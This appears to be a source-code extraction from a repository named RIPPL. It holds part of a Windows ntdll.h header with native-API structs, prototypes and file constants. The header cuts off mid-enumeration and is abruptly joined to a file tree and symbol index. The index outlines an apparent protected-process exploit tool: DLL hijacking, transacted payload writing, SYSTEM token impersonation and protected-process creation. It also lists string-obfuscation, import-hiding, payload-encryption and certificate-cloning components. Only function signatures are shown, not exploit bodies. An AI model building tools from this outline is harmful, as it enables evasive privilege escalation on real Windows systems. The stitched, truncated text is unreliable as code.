ULONG_PTR UniqueProcessId;
ULONG_PTR HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
// Class 69
typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION
{
ULONG Flags;
ULONG InfoSize;
union
{
struct
{
ULONG Foo;
} CodeInfo;
struct
{
USHORT NameOffset;
USHORT NameLength;
} KernelInfo;
struct
{
USHORT NameOffset;
USHORT NameLength;
USHORT TargetNameOffset;
USHORT TargetNameLength;
UCHAR PatchingFinished;
} UserModeInfo;
struct
{
USHORT NameOffset;
USHORT NameLength;
USHORT TargetNameOffset;
USHORT TargetNameLength;
UCHAR PatchingFinished;
NTSTATUS ReturnCode;
HANDLE TargetProcess;
} InjectionInfo;
struct
{
HANDLE FileHandle1;
PIO_STATUS_BLOCK IoStatusBlock1;
PVOID RenameInformation1;
PVOID RenameInformationLength1;
HANDLE FileHandle2;
PIO_STATUS_BLOCK IoStatusBlock2;
PVOID RenameInformation2;
PVOID RenameInformationLength2;
} RenameInfo;
struct
{
HANDLE ParentDirectory;
HANDLE ObjectHandle1;
HANDLE ObjectHandle2;
} AtomicSwap;
};
} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION;
//
// Class 75
//
struct _SYSTEM_FIRMWARE_TABLE_INFORMATION;
typedef NTSTATUS (__cdecl *PFNFTH)(
IN struct _SYSTEM_FIRMWARE_TABLE_INFORMATION *FirmwareTableInformation
);
typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION
{
SystemFirmwareTable_Enumerate = 0,
SystemFirmwareTable_Get = 1,
} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION;
typedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER
{
ULONG ProviderSignature;
BOOLEAN Register;
PFNFTH FirmwareTableHandler;
PVOID DriverObject;
} SYSTEM_FIRMWARE_TABLE_HANDLER, *PSYSTEM_FIRMWARE_TABLE_HANDLER;
//
// Class 76
//
typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION
{
ULONG ProviderSignature;
SYSTEM_FIRMWARE_TABLE_ACTION Action;
ULONG TableID;
ULONG TableBufferLength;
UCHAR TableBuffer[1];
} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION;
//
// Class 81
//
typedef struct _SYSTEM_MEMORY_LIST_INFORMATION
{
SIZE_T ZeroPageCount;
SIZE_T FreePageCount;
SIZE_T ModifiedPageCount;
SIZE_T ModifiedNoWritePageCount;
SIZE_T BadPageCount;
SIZE_T PageCountByPriority[8];
SIZE_T RepurposedPagesByPriority[8];
} SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION;
//
// Class 88
//
typedef struct _SYSTEM_PROCESS_ID_INFORMATION
{
HANDLE UniqueProcessId; // On input, set this to Process ID
UNICODE_STRING ImageName; // On input, initialize to an allocated buffer
} SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION;
//
// Class 90
//
typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION
{
GUID CurrentBootGuid;
ULONG Unknown;
} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION;
typedef NTSTATUS (NTAPI * NTQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS (NTAPI * RTLGETNATIVESYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
typedef BOOLEAN (NTAPI * RTLGETPRODUCTINFO)(
IN ULONG OSMajorVersion,
IN ULONG OSMinorVersion,
IN ULONG SpMajorVersion,
IN ULONG SpMinorVersion,
OUT PULONG ReturnedProductType
);
NTSYSAPI
NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
NtSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength
);
NTSYSAPI
NTSTATUS
NTAPI
RtlGetNativeSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
//------------------------------------------------------------------------------
// Shutdown system
typedef enum _SHUTDOWN_ACTION
{
ShutdownNoReboot,
ShutdownReboot,
ShutdownPowerOff
} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;
NTSYSAPI
NTSTATUS
NTAPI
NtShutdownSystem(
IN SHUTDOWN_ACTION Action
);
//-----------------------------------------------------------------------------
// File functions
#ifndef OLD_DOS_VOLID
#define OLD_DOS_VOLID 0x00000008
#endif
#ifndef FILE_SUPERSEDE
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
#define FILE_OVERWRITE 0x00000004
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_MAXIMUM_DISPOSITION 0x00000005
#endif // File create flags
// Define the create/open option flags
#ifndef FILE_DIRECTORY_FILE
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_WRITE_THROUGH 0x00000002
#define FILE_SEQUENTIAL_ONLY 0x00000004
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_CREATE_TREE_CONNECTION 0x00000080
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
#define FILE_NO_EA_KNOWLEDGE 0x00000200
#define FILE_OPEN_FOR_RECOVERY 0x00000400
#define FILE_RANDOM_ACCESS 0x00000800
#define FILE_DELETE_ON_CLOSE 0x00001000
#define FILE_OPEN_BY_FILE_ID 0x00002000
#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000
#define FILE_NO_COMPRESSION 0x00008000
#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000
#define FILE_DISALLOW_EXCLUSIVE 0x00020000
#define FILE_RESERVE_OPFILTER 0x00100000
#define FILE_OPEN_REPARSE_POINT 0x00200000
#define FILE_OPEN_NO_RECALL 0x00400000
#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000
#endif // FILE_DIRECTORY_FILE
//
// Define the I/O status information return values for NtCreateFile/NtOpenFile
//
#ifndef FILE_SUPERSEDED
#define FILE_SUPERSEDED 0x00000000
#define FILE_OPENED 0x00000001
#define FILE_CREATED 0x00000002
#define FILE_OVERWRITTEN 0x00000003
#define FILE_EXISTS 0x00000004
#define FILE_DOES_NOT_EXIST 0x00000005
#endif
#ifndef FILE_REMOVABLE_MEDIA
#define FILE_REMOVABLE_MEDIA 0x00000001
#define FILE_READ_ONLY_DEVICE 0x00000002
#define FILE_FLOPPY_DISKETTE 0x00000004
#define FILE_WRITE_ONCE_MEDIA 0x00000008
#define FILE_REMOTE_DEVICE 0x00000010
#define FILE_DEVICE_IS_MOUNTED 0x00000020
#define FILE_VIRTUAL_VOLUME 0x00000040
#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080
#define FILE_DEVICE_SECURE_OPEN 0x00000100
#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800
#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000
#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000
#endif
#ifndef PIO_APC_ROUTINE_DEFINED
typedef
VOID
(NTAPI *PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);
#define PIO_APC_ROUTINE_DEFINED
#endif // PIO_APC_ROUTINE_DEFINED
typedef enum _FILE_INFORMATION_CLASS
{
FileDirectoryInformation = 1,
FileFullDirectoryInformation, // 2
FileBothDirectoryInformation, // 3
FileBasicInformation, // 4
FileStandardInformation, // 5
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12
FileDispositionInformation, // 13
FilePositionInformation, // 14
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileIdBothDirectoryInformation, // 37
FileIdFullDirectoryInformation, // 38
FileValidDataLengthInformation, // 39
FileShortNameInformation, // 40
FileIoCompletionNotificationInformation, // 41
FileIoStatusBlockRangeInformation, // 42
FileIoPriorityHintInformation, // 43
FileSfioReserveInformation, // 44
FileSfioVolumeInformation, // 45
FileHardLinkInformation, // 46
FileProcessIdsUsingFileInformation, // 47
FileNormalizedNameInformation, // 48
FileNetworkPhysicalNameInformation, // 49
// Windows 7+
FileIdGlobalTxDirectoryInformation, // 50
FileIsRemoteDeviceInformation, // 51
FileAttributeCacheInformation, // 52
FileNumaNodeInformation, // 53
FileStandardLinkInformation, // 54
FileRemoteProtocolInformation, // 55
// Windows 8+
FileRenameInformationBypassAccessCheck, // 56 (kernel-mode only)
FileLinkInformationBypassAccessCheck, // 57 (kernel-mode only)
FileVolumeNameInformation, // 58
FileIdInformation, // 59
FileIdExtdDirectoryInformation, // 60
// WinBlue+
FileReplaceCompletionInformation, // 61
FileHardLinkFullIdInformation, // 62
// Windows 10 THRESHOLD+
FileIdExtdBothDirectoryInformation, // 63
FileDispositionInformationEx, // 64
FileRenameInformationEx, // 65
FileRenameInformationExBypassAccessCheck,// 66 (kernel-mode only)
// Windows 10 REDSTONE+
FileDesiredStorageClassInformation, // 67
FileStatInformation, // 68
FileMemoryPartitionInformation, // 69
// Windows 10 April 2018 Update+
FileStatLxInformation, // 70
FileCaseSensitiveInformation,
gitextract_l8_ts1di/ ├── .gitattributes ├── .gitignore ├── DLL_encrypt.py ├── LICENSE ├── README.md ├── RIPPL/ │ ├── Indexes.h │ ├── Inline.h │ ├── Log.h │ ├── MetaFSM.h │ ├── MetaRandom.h │ ├── MetaString.h │ ├── RIPPL.cpp │ ├── RIPPL.rc │ ├── RIPPL.vcxproj │ ├── RIPPL.vcxproj.filters │ ├── Unroller.h │ ├── common.hpp │ ├── exploit.cpp │ ├── exploit.h │ ├── lazy_importer.hpp │ ├── ntdll.h │ ├── packages.config │ ├── resource.h │ ├── skCrypter.hpp │ ├── utils.cpp │ ├── utils.h │ └── winver.manifest ├── RIPPL.sln ├── RIPPLDLL/ │ ├── RIPPL.def │ ├── RIPPLDLL.cpp │ ├── RIPPLDLL.vcxproj │ ├── RIPPLDLL.vcxproj.filters │ ├── dllexploit.cpp │ ├── dllexploit.h │ └── packages.config ├── carboncopy.py ├── postbuild.bat └── restore_headers.py
SYMBOL INDEX (405 symbols across 16 files)
FILE: DLL_encrypt.py
function aesenc (line 7) | def aesenc(plain, key, iv):
FILE: RIPPL/Indexes.h
function namespace (line 26) | namespace andrivet { namespace ADVobfuscator {
FILE: RIPPL/Log.h
function namespace (line 26) | namespace andrivet { namespace ADVobfuscator {
FILE: RIPPL/MetaFSM.h
function namespace (line 45) | namespace andrivet { namespace ADVobfuscator {
function R (line 88) | R ObfuscatedCallRet(F f, Args&&... args)
function ObfuscatedCall (line 104) | void ObfuscatedCall(F f, Args&&... args)
FILE: RIPPL/MetaRandom.h
function namespace (line 30) | namespace andrivet { namespace ADVobfuscator {
FILE: RIPPL/MetaString.h
function namespace (line 28) | namespace andrivet { namespace ADVobfuscator {
function wchar_t (line 76) | inline const wchar_t* decrypt()
function wchar_t (line 88) | constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, int k) const { return...
function wchar_t (line 89) | constexpr wchar_t decrypt(wchar_t c) const { return encrypt(c, key()); }
function encrypt (line 118) | constexpr char ALWAYS_INLINE encrypt(char c, size_t position) const { re...
function decrypt (line 119) | constexpr char decrypt(char c, size_t position) const { return encrypt(c...
function wchar_t (line 133) | inline const wchar_t* decrypt()
function wchar_t (line 145) | constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, size_t position) cons...
function wchar_t (line 146) | constexpr wchar_t decrypt(wchar_t c, size_t position) const { return enc...
function encrypt (line 175) | constexpr char ALWAYS_INLINE encrypt(char c) const { return c + key(K); }
function decrypt (line 176) | constexpr char decrypt(char c) const { return c - key(K); }
function wchar_t (line 190) | inline const wchar_t* decrypt()
function wchar_t (line 202) | constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c) const { return c + ke...
function wchar_t (line 203) | constexpr wchar_t decrypt(wchar_t c) const { return c - key(K); }
FILE: RIPPL/RIPPL.cpp
function wmain (line 11) | int wmain(int argc, wchar_t* argv[])
FILE: RIPPL/Unroller.h
function namespace (line 25) | namespace andrivet { namespace ADVobfuscator {
FILE: RIPPL/exploit.cpp
function BOOL (line 4) | BOOL RunExploit(_In_ DWORD dwProcessId)
function BOOL (line 431) | BOOL CheckRequirements()
function BOOL (line 562) | BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult)
function BOOL (line 590) | BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName)
function BOOL (line 619) | BOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize)
function BOOL (line 659) | BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFil...
function BOOL (line 719) | BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile)
function BOOL (line 832) | BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHAN...
function BOOL (line 946) | BOOL Impersonate(_In_ HANDLE hToken)
function BOOL (line 960) | BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_op...
function BOOL (line 997) | BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken)
function BOOL (line 1007) | BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken)
function BOOL (line 1013) | BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pws...
function BOOL (line 1073) | BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection)
function BOOL (line 1115) | BOOL UnmapDll(_In_ HANDLE hSection)
function BOOL (line 1131) | BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath...
function BOOL (line 1164) | BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCo...
FILE: RIPPL/lazy_importer.hpp
type li (line 49) | namespace li {
type detail (line 50) | namespace detail {
type win (line 52) | namespace win {
type LIST_ENTRY_T (line 54) | struct LIST_ENTRY_T {
type UNICODE_STRING_T (line 59) | struct UNICODE_STRING_T {
type PEB_LDR_DATA_T (line 65) | struct PEB_LDR_DATA_T {
type PEB_T (line 72) | struct PEB_T {
type LDR_DATA_TABLE_ENTRY_T (line 80) | struct LDR_DATA_TABLE_ENTRY_T {
method LAZY_IMPORTER_FORCEINLINE (line 93) | LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
type IMAGE_DOS_HEADER (line 101) | struct IMAGE_DOS_HEADER { // DOS .EXE header
type IMAGE_FILE_HEADER (line 123) | struct IMAGE_FILE_HEADER {
type IMAGE_EXPORT_DIRECTORY (line 133) | struct IMAGE_EXPORT_DIRECTORY {
type IMAGE_DATA_DIRECTORY (line 147) | struct IMAGE_DATA_DIRECTORY {
type IMAGE_OPTIONAL_HEADER64 (line 152) | struct IMAGE_OPTIONAL_HEADER64 {
type IMAGE_OPTIONAL_HEADER32 (line 185) | struct IMAGE_OPTIONAL_HEADER32 {
type IMAGE_NT_HEADERS (line 219) | struct IMAGE_NT_HEADERS {
type forwarded_hashes (line 231) | struct forwarded_hashes {
function LAZY_IMPORTER_FORCEINLINE (line 240) | LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pa...
function LAZY_IMPORTER_FORCEINLINE (line 242) | LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_...
function LAZY_IMPORTER_FORCEINLINE (line 245) | LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned va...
function LAZY_IMPORTER_FORCEINLINE (line 252) | LAZY_IMPORTER_FORCEINLINE constexpr unsigned
function LAZY_IMPORTER_FORCEINLINE (line 258) | LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
function hash (line 265) | LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned o...
function hash (line 277) | LAZY_IMPORTER_FORCEINLINE unsigned hash(
function LAZY_IMPORTER_FORCEINLINE (line 289) | LAZY_IMPORTER_FORCEINLINE forwarded_hashes hash_forwarded(
function LAZY_IMPORTER_FORCEINLINE (line 306) | LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
function LAZY_IMPORTER_FORCEINLINE (line 323) | LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
function LAZY_IMPORTER_FORCEINLINE (line 328) | LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
function LAZY_IMPORTER_FORCEINLINE (line 335) | LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_e...
function LAZY_IMPORTER_FORCEINLINE (line 342) | LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_dat...
type exports_directory (line 348) | struct exports_directory {
method LAZY_IMPORTER_FORCEINLINE (line 356) | LAZY_IMPORTER_FORCEINLINE
method LAZY_IMPORTER_FORCEINLINE (line 370) | LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
method LAZY_IMPORTER_FORCEINLINE (line 375) | LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { retu...
method noexcept (line 376) | const noexcept
method LAZY_IMPORTER_FORCEINLINE (line 381) | LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const ...
method LAZY_IMPORTER_FORCEINLINE (line 388) | LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) con...
method LAZY_IMPORTER_FORCEINLINE (line 399) | LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
type safe_module_enumerator (line 407) | struct safe_module_enumerator {
method LAZY_IMPORTER_FORCEINLINE (line 412) | LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 421) | LAZY_IMPORTER_FORCEINLINE void reset() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 426) | LAZY_IMPORTER_FORCEINLINE bool next() noexcept
type unsafe_module_enumerator (line 434) | struct unsafe_module_enumerator {
method LAZY_IMPORTER_FORCEINLINE (line 438) | LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 442) | LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data...
method LAZY_IMPORTER_FORCEINLINE (line 444) | LAZY_IMPORTER_FORCEINLINE bool next() noexcept
class lazy_base (line 453) | class lazy_base {
method LAZY_IMPORTER_FORCEINLINE (line 457) | LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 465) | LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 471) | LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 481) | LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
type lazy_module (line 488) | struct lazy_module : lazy_base<lazy_module<OHP>> {
method LAZY_IMPORTER_FORCEINLINE (line 490) | LAZY_IMPORTER_FORCEINLINE static T get() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 501) | LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
method LAZY_IMPORTER_FORCEINLINE (line 512) | LAZY_IMPORTER_FORCEINLINE static T in_cached(Ldr ldr) noexcept
type lazy_function (line 523) | struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
method LAZY_IMPORTER_FORCEINLINE (line 537) | LAZY_IMPORTER_FORCEINLINE static F get() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 568) | LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 604) | LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 610) | LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 619) | LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 625) | LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept
method LAZY_IMPORTER_FORCEINLINE (line 645) | LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept
method LAZY_IMPORTER_FORCEINLINE (line 651) | LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept
method LAZY_IMPORTER_FORCEINLINE (line 660) | LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept
method LAZY_IMPORTER_FORCEINLINE (line 666) | LAZY_IMPORTER_FORCEINLINE static F nt() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 672) | LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 678) | LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept
method LAZY_IMPORTER_FORCEINLINE (line 684) | LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept
FILE: RIPPL/ntdll.h
type NTSTATUS (line 41) | typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
type LONG (line 43) | typedef LONG NTSTATUS;
type EVENT_TYPE (line 93) | typedef enum _EVENT_TYPE
type STRING (line 104) | typedef struct _STRING
type UNICODE_STRING (line 116) | typedef struct _UNICODE_STRING
type RTL_BITMAP (line 127) | typedef struct _RTL_BITMAP
type RTL_BUFFER (line 137) | typedef struct _RTL_BUFFER
type RTL_UNICODE_STRING_BUFFER (line 151) | typedef struct _RTL_UNICODE_STRING_BUFFER
type STRING (line 159) | typedef STRING ANSI_STRING;
type PSTRING (line 160) | typedef PSTRING PANSI_STRING;
type STRING (line 162) | typedef STRING OEM_STRING;
type PSTRING (line 163) | typedef PSTRING POEM_STRING;
type CONST (line 164) | typedef CONST STRING* PCOEM_STRING;
type UNICODE_STRING (line 166) | typedef const UNICODE_STRING *PCUNICODE_STRING;
type OBJECT_ATTRIBUTES (line 192) | typedef struct _OBJECT_ATTRIBUTES
type IO_STATUS_BLOCK (line 206) | typedef struct _IO_STATUS_BLOCK
type CLIENT_ID (line 222) | typedef struct _CLIENT_ID
function BOOLEAN (line 257) | BOOLEAN
function FORCEINLINE (line 266) | FORCEINLINE
function FORCEINLINE (line 275) | FORCEINLINE
function FORCEINLINE (line 291) | FORCEINLINE
function FORCEINLINE (line 307) | FORCEINLINE
type GENERATE_NAME_CONTEXT (line 693) | typedef struct _GENERATE_NAME_CONTEXT
type POOL_TYPE (line 749) | typedef enum _POOL_TYPE {
type OBJECT_INFORMATION_CLASS (line 773) | typedef enum _OBJECT_INFORMATION_CLASS
type OBJECT_BASIC_INFORMATION (line 789) | typedef struct _OBJECT_BASIC_INFORMATION
type OBJECT_NAME_INFORMATION (line 808) | typedef struct _OBJECT_NAME_INFORMATION
type OBJECT_TYPE_INFORMATION (line 817) | typedef struct _OBJECT_TYPE_INFORMATION
type OBJECT_TYPES_INFORMATION (line 842) | typedef struct _OBJECT_TYPES_INFORMATION
type OBJECT_HANDLE_FLAG_INFORMATION (line 853) | typedef struct _OBJECT_HANDLE_FLAG_INFORMATION
type OBJECT_DIRECTORY_INFORMATION (line 863) | typedef struct _OBJECT_DIRECTORY_INFORMATION
type RTL_GENERIC_COMPARE_RESULTS (line 995) | typedef enum _RTL_GENERIC_COMPARE_RESULTS
type RTL_SPLAY_LINKS (line 1003) | typedef struct _RTL_SPLAY_LINKS
type _RTL_GENERIC_TABLE (line 1011) | struct _RTL_GENERIC_TABLE
type RTL_GENERIC_TABLE (line 1036) | typedef struct _RTL_GENERIC_TABLE
type RTL_HANDLE_TABLE_ENTRY (line 1050) | typedef struct _RTL_HANDLE_TABLE_ENTRY
type RTL_HANDLE_TABLE (line 1057) | typedef struct _RTL_HANDLE_TABLE
type KEY_INFORMATION_CLASS (line 1236) | typedef enum _KEY_INFORMATION_CLASS
type KEY_VALUE_INFORMATION_CLASS (line 1247) | typedef enum _KEY_VALUE_INFORMATION_CLASS
type KEY_SET_INFORMATION_CLASS (line 1256) | typedef enum _KEY_SET_INFORMATION_CLASS
type KEY_BASIC_INFORMATION (line 1263) | typedef struct _KEY_BASIC_INFORMATION
type KEY_NODE_INFORMATION (line 1271) | typedef struct _KEY_NODE_INFORMATION
type KEY_FULL_INFORMATION (line 1281) | typedef struct _KEY_FULL_INFORMATION
type KEY_NAME_INFORMATION (line 1296) | typedef struct _KEY_NAME_INFORMATION
type KEY_CACHED_INFORMATION (line 1301) | typedef struct _KEY_CACHED_INFORMATION
type KEY_FLAGS_INFORMATION (line 1314) | typedef struct _KEY_FLAGS_INFORMATION
type KEY_VALUE_BASIC_INFORMATION (line 1319) | typedef struct _KEY_VALUE_BASIC_INFORMATION
type KEY_VALUE_FULL_INFORMATION (line 1327) | typedef struct _KEY_VALUE_FULL_INFORMATION
type KEY_VALUE_PARTIAL_INFORMATION (line 1337) | typedef struct _KEY_VALUE_PARTIAL_INFORMATION
type RTL_QUERY_REGISTRY_TABLE (line 1581) | typedef struct _RTL_QUERY_REGISTRY_TABLE
type SYSTEM_INFORMATION_CLASS (line 1607) | typedef enum _SYSTEM_INFORMATION_CLASS
type LONG (line 1714) | typedef LONG KPRIORITY;
type SYSTEM_BASIC_INFORMATION (line 1719) | typedef struct _SYSTEM_BASIC_INFORMATION
type SYSTEM_PROCESSOR_INFORMATION (line 1735) | typedef struct _SYSTEM_PROCESSOR_INFORMATION
type SYSTEM_PERFORMANCE_INFORMATION (line 1745) | typedef struct _SYSTEM_PERFORMANCE_INFORMATION
type SYSTEM_TIMEOFDAY_INFORMATION (line 1824) | typedef struct _SYSTEM_TIMEOFDAY_INFORMATION
type SYSTEM_THREAD_INFORMATION (line 1839) | typedef struct _SYSTEM_THREAD_INFORMATION
type SYSTEM_PROCESS_INFORMATION (line 1854) | typedef struct _SYSTEM_PROCESS_INFORMATION
type SYSTEM_CALL_COUNT_INFORMATION (line 1903) | typedef struct _SYSTEM_CALL_COUNT_INFORMATION
type SYSTEM_DEVICE_INFORMATION (line 1910) | typedef struct _SYSTEM_DEVICE_INFORMATION
type SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (line 1921) | typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
type SYSTEM_FLAGS_INFORMATION (line 1932) | typedef struct _SYSTEM_FLAGS_INFORMATION
type SYSTEM_CALL_TIME_INFORMATION (line 1938) | typedef struct _SYSTEM_CALL_TIME_INFORMATION
type RTL_PROCESS_MODULE_INFORMATION (line 1946) | typedef struct _RTL_PROCESS_MODULE_INFORMATION
type RTL_PROCESS_MODULES (line 1960) | typedef struct _RTL_PROCESS_MODULES
type RTL_PROCESS_LOCK_INFORMATION (line 1967) | typedef struct _RTL_PROCESS_LOCK_INFORMATION
type RTL_PROCESS_LOCKS (line 1981) | typedef struct _RTL_PROCESS_LOCKS
type RTL_PROCESS_BACKTRACE_INFORMATION (line 1988) | typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION
type RTL_PROCESS_BACKTRACES (line 1997) | typedef struct _RTL_PROCESS_BACKTRACES
type SYSTEM_POOL_ENTRY (line 2007) | typedef struct _SYSTEM_POOL_ENTRY
